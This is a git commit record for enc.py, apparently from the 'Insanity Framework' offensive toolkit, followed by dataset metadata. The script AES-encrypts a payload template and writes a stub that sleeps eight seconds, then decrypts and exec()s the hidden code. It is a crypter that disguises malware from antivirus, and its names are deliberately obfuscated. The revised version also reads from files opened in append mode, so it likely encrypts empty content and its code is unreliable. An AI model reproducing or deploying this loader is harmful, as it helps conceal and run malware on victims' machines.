<commit_before>#!/usr/bin/env python
# -.- coding: utf-8 -.-
# Copyright 2017 Insanity Framework (IF) 
# Written by: * <NAME> - 4w4k3
# https://github.com/4w4k3/Insanity-Framework
# Licensed under the BSD-3-Clause

from Crypto.Cipher import AES
from base64 import b64encode
import string
import random
import time, os, sys 

abc = ''.join(random.sample((string.ascii_uppercase+string.digits),32))

BLOCO = 32
PAD = '@'

def skdbksalnksancas(abdasbdio, chave):

        extra = (BLOCO - len(abdasbdio)) % BLOCO
	aes = AES.new(chave, AES.MODE_ECB)
        cript = aes.encrypt(abdasbdio + PAD * extra)
        
	return b64encode(cript)

def beirfwihfsajps(path, output, chave):

	sahdvowhiohqwrqw = open(path, 'r')
	abdasbdio = sahdvowhiohqwrqw.read()

	abdasbdio_cifrado = skdbksalnksancas(abdasbdio, chave)
	payload = "from Crypto.Cipher import AES\n"
	payload += "from base64 import b64decode\n"
	payload += "from time import sleep\n"
	payload += "sleep(8)\n"
	payload += "aes = AES.new('%s', AES.MODE_ECB)\n" % chave
	payload += "exec(aes.decrypt(b64decode('%s')).rstrip('%s'))" % (abdasbdio_cifrado, PAD)

	andasndaasa = open(output, 'w')
	andasndaasa.write(payload)

	sahdvowhiohqwrqw.close()
	andasndaasa.close()

def run():
    a1 = 'Templates/Insane.py'
    a2 = 'Templates/insane_enc.py'
    beirfwihfsajps(a1, a2, abc)

run()

<commit_msg>update enc.py to ensure that the payload files are created<commit_after>#!/usr/bin/env python
# -.- coding: utf-8 -.-
# Copyright 2017 Insanity Framework (IF) 
# Written by: * <NAME> - 4w4k3
# https://github.com/4w4k3/Insanity-Framework
# Licensed under the BSD-3-Clause
from Crypto.Cipher import AES
from base64 import b64encode
import string
import random


random_string_payload = ''.join(random.sample((string.ascii_uppercase + string.digits), 32))
BLOCO = 32
PAD = '@'


def skdbksalnksancas(abdasbdio, chave):
    """ I don't really know what this does so I'm just gonna leave
    it how it is """
    extra = (BLOCO - len(abdasbdio)) % BLOCO
    aes = AES.new(chave, AES.MODE_ECB)
    crypt = aes.encrypt(abdasbdio + PAD * extra)
    return b64encode(crypt)


def create_payload_script(path, output, chave):
    """ Create the payload script """
    sahdvowhiohqwrqw = open(path, 'a+')
    abdasbdio = sahdvowhiohqwrqw.read()
    abdasbdio_cifrado = skdbksalnksancas(abdasbdio, chave)
    payload = "from Crypto.Cipher import AES\n"
    payload += "from base64 import b64decode\n"
    payload += "from time import sleep\n"
    payload += "\n\nsleep(8)\n"
    payload += "aes = AES.new('{}', AES.MODE_ECB)\n".format(chave)
    payload += "exec(aes.decrypt(b64decode('{}')).rstrip('{}'))".format(abdasbdio_cifrado, PAD)

    andasndaasa = open(output, 'a+')
    andasndaasa.write(payload)

    sahdvowhiohqwrqw.close()
    andasndaasa.close()


def main():
    """ Main function that calls all the rest """
    insane_template = 'Templates/Insane.py'
    insane_template_two = 'Templates/insane_enc.py'
    create_payload_script(
        insane_template,
        insane_template_two,
        random_string_payload
    )


if __name__ == '__main__':
    main()

{'fraction_non_alphanumeric': 0.1384961439588689, 'fraction_numerical': 0.01992287917737789, 'mean_word_length': 3.8869701726844585, 'pattern_counts': {'":': 0, '<': 5, '<?xml version=': 0, '>': 5, 'https://': 2, 'lorem ipsum': 0, 'www.': 0, 'xml': 0}, 'pii_count': 0, 'substrings_counts': 0, 'word_list_counts': {'cursed_substrings.json': 0, 'profanity_word_list.json': 0, 'sexual_word_list.json': 0, 'zh_pornsignals.json': 0}}
{'dir': 'git-commits-cleaned', 'id': '383825', 'n_tokens_mistral': 1275, 'n_tokens_neox': 1205, 'n_words': 255}